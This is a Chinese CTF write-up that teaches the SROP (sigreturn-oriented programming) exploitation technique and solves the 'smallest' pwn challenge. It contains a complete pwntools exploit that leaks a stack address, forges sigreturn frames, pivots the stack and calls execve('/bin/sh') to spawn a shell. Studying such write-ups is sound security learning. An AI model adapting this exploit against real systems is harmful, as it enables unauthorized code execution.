在不同版本的 Unix 系统中被使用了 40 多年的 Signal 机制,存在一个很容易被攻击者利用的设计缺陷,针对这种攻击的手法叫做SROP,和传统的 ROP 攻击相比显得更加简单,可靠,可移植,虽然离提出的时间已经过去了许久,但在CTF的赛场上仍然存在着SROP的攻击手法,不过在CTF的SROP更多的是作为一种辅助ROP来使用,让exp的编写更加的简便,比如ORW+SROP。

此攻击手法首次提出是在安全顶会Oakland 2014,原文看的太难受了,看看会议PPT就好了,SROP也算作比较高级一点的ROP了,接下来慢慢看它是怎么攻击的

Signal 机制

在开始介绍SROP之前,肯定要介绍Signal 机制,就拿出老生常谈的一张Signal 信号的调用流程图:

①内核向进程发送Signal 信号,此进程挂起并进入用户态程序,进行ucontext save,即往栈上压入ucontextsiginfo,主要是将所有寄存器压入栈中,以及压入 Signal 信息

最后压入指向 sigreturn 的系统调用地址,需要注意到的一点是,这一切的操作都是在栈上进行,也就是说这段区域在某种程度上是可控的,这就是问题的所在!!!

②跳转到注册过的 signal handler 中处理相应的 Signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码

signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 77,64 位的系统调用号为 15

攻击原理

上面已经讲到保存的参数(包括寄存器等信息)都是处于用户态中,并且可以进行读写,再加上内核并不会检查它的参数是否给改变,所以我们就可以伪造这些寄存器的参数,当系统执行完 sigreturn 系统调用之后,会执行 pop 指令来恢复相应寄存器的值,当执行到 rip时,就会将程序执行流指向 syscall 地址,既然能进入系统调用,那么是不是我们只要在对应的寄存器上伪造我们想要的值就能进入任何想要的系统调用,答案是肯定的!下面又是老生常谈的一张图,结果很明显,如果用下列寄存器的值来执行系统调用就能getshell

那要形成调用链呢?回想原始的ROP,是不是配合ret就可以形成ROP链,所以这里也是,不过对应的栈顶也要指向下一个伪造syscall的位置:

除了手动去布置寄存器的值之外,pwntool还有一个集成的工具—-SigreturnFrame() 模块,在CTF的题目中经常会使用到它,其实它就是把栈帧里面每个寄存器的值就标记好了,我们只需要生成一个SigreturnFrame() 模块,然后再往这个模块里面放入寄存器的值就可以了,下面是在i386 上调用mprotect,具体可以参考链接:

Sigreturn Oriented Programming

1
2
3
4
5
6
7
8
9
10
11
12
>>> context.clear(arch='i386')
>>> s = SigreturnFrame(kernel='i386')
>>> unpack_many(bytes(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 115, 0, 0, 123, 0]
>>> assert len(s) == 80
>>> s.eax = 125
>>> s.ebx = 0x00601000
>>> s.ecx = 0x1000
>>> s.edx = 0x7
>>> assert len(bytes(s)) == 80
>>> unpack_many(bytes(s))
[0, 0, 0, 0, 0, 0, 0, 0, 6295552, 7, 4096, 125, 0, 0, 0, 115, 0, 0, 123, 0]

下面就用一道题来看看SigreturnFrame() 模块怎么用吧!

题目

360chunqiu2017_smallest

看下保护,就开了NX

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序短的离谱,就一个系统调用为read(0,rsp,400h),但是这里没有SROP的系统调用号15呀?那该怎么调用它呢?答:read函数返回值会到rax中:

ssize_t read ^[1]^ (int fd, void *buf, size_t count);
成功返回读取的字节数,出错返回-1并设置errno,如果在调read之前已到达文件末尾,则这次read返回0。

1
2
3
4
5
6
7
8
.text:00000000004000B0 start           proc near               ; DATA XREF: LOAD:0000000000400018↑o
.text:00000000004000B0 xor rax, rax
.text:00000000004000B3 mov edx, 400h ; count
.text:00000000004000B8 mov rsi, rsp ; buf
.text:00000000004000BB mov rdi, rax ; fd
.text:00000000004000BE syscall ; LINUX - sys_read
.text:00000000004000C0 retn
.text:00000000004000C0 start endp

现在已经直到了触发SROP的方法,我们都知道用execvegetshell是需要传入/bin/sh地址的,但在此题目当中既没有这个字符串:

1
2
➜  one_gadget smallest 
[OneGadget] ArgumentError: File "smallest" doesn't contain string "/bin/sh", not glibc?

同时又是静态链接:

1
2
➜  file  smallest
smallest: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

所以需要写入到某个地方,并且这个地方的地址是可知的,看下vmmap只有stack能读写,同时这里面并没有mprotect来修改页属性(可以用系统调用):

1
2
3
4
5
6
7
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x401000 r-xp 1000 0 /smallest
0x7ffff7ffb000 0x7ffff7ffe000 r--p 3000 0 [vvar]
0x7ffff7ffe000 0x7ffff7fff000 r-xp 1000 0 [vdso]
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]

既然只能写栈,那就得先泄露栈地址,怎么泄露呢?刚刚说到我们可以修改它的系统调用,对吧!所以我们读入一个字符来修改rax为1,同时还要防止它执行.text:00000000004000B0 xor rax, rax,不然一切还是白费了!,那怎么办呢?回到第一个的read,我们反汇编看一下,欸嘿!它是往返回地址上写的欸(IDA 7.5已经帮我们分析出来了):

1
2
3
4
5
signed __int64 start()
{
void *retaddr; // [rsp+0h] [rbp+0h] BYREF
return sys_read(0, (char *)&retaddr, 0x400uLL);
}

直接往&retaddr写入值,就劫持控制流,首先我们肯定是要让它成功读入一个字节并从0x4000B3开始执行,这样就执行了write(1,buf,0x400)edxesi都没动),由于它只执行一次read,所以要往&retaddr多写一点,就可以持续控制执行流,读完之后就跳到0x4000B0,又回来程序入口,这次就读入\xb3,修改返回的地址绕过清零rax的语句,就执行了write(1,buf,0x400)泄露栈地址:

1
2
3
4
5
payload = p64(0x4000B0)*3
# sleep(0.5)
io.send(payload)
# raw_input()
io.send('\xb3')

泄露完栈地址之后,就可以往栈上写/bin/sh执行execve啦!,但是在此之前还有一个问题就是栈顶的位置并不是指向我们的SROP的,所以还要做一次迁移到sigframe处,调用SYS_read来读入execvesigframe顺便栈迁移:

1
2
3
4
5
6
7
8
9
10
11
12
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = 0x004000BE
# gdb.attach(io)

io.send(p64(0x4000B0)+p64(0)+str(sigframe))
raw_input("zyen")
io.send(p64(0x004000BE)+'b'*7)

再次SROP就能执行execve("/bin/sh",0,0)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

context(os='linux',arch='amd64',log_level='debug')
io = process('smallest')
# io = remote('node4.buuoj.cn',25243)
elf = ELF('smallest')
# gdb.attach(io)
# gdb.attach(io,"b *0x4000Be")
payload = p64(0x4000B0)*3

io.send(payload)

raw_input("zyen")

io.send('\xb3')
raw_input("zyen")
stack_addr = u64(io.recv()[8:16]) #& 0xfffffffffffffff000 - 0x1000
print("[*] stack_addr => "+hex(stack_addr))


sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = 0x004000BE
# gdb.attach(io)

io.send(p64(0x4000B0)+p64(0)+str(sigframe))
raw_input("zyen")

io.send(p64(0x004000BE)+'b'*7)
raw_input("zyen")
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x300 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
# sigframe.rsp = stack_addr+ 0x190
sigframe.rip = 0x004000BE
payload = p64(0x4000B0)+p64(0)+str(sigframe)
payload = payload+(0x300-len(payload))*'\x00'+'/bin/sh\x00'
# sleep(1)
io.send(payload)
raw_input("zyen")
# sleep(1)
io.send(p64(0x004000BE)+'b'*7)
raw_input("zyen")
# sleep(1)
io.interactive()

参考链接:

SROP

360春秋杯smallest

SROP例题